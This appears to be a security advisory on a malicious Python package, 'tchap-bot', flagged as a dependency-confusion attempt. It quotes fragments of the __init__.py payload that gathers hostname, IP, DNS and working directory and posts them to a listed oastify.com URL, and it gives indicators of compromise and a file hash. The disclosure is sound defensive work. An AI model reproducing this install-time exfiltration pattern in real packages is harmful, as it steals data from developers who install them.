GCVE-VVD-OSM-2026-269

Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, network activity. Payload: tchap-bot/__init__.py Key findings: - System Information Exfiltration in tchap-bot/__init__.py: "os.getcwd(), 'hostname': subprocess.getoutput("hostname") } ..." - OAST/Interactsh Exfiltration in tchap-bot/__init__.py: "oastify.com" - Python File Upload to Remote in tchap-bot/__init__.py: "urllib.request.Request( WEBHOOK_URL, data=" - HTTP Data Exfiltration in tchap-bot/__init__.py: "os.getcwd(), 'hostname': subprocess.getoutput("hostname") } ..." - Suspicious Domain in tchap-bot/__init__.py: "oastify.com" IOCs: - urls: https://y100z2llb46d5iizjcr617gfj6pxdo1d.oastify.com/exf - domains: y100z2llb46d5iizjcr617gfj6pxdo1d.oastify.com - oastEndpoints: https://y100z2llb46d5iizjcr617gfj6pxdo1d.oastify.com/exf - payloadFileHash: 60e6a448ff03b1184070fd2b86ab9dc3e67751ff1594db6b4465c2cc37f486b5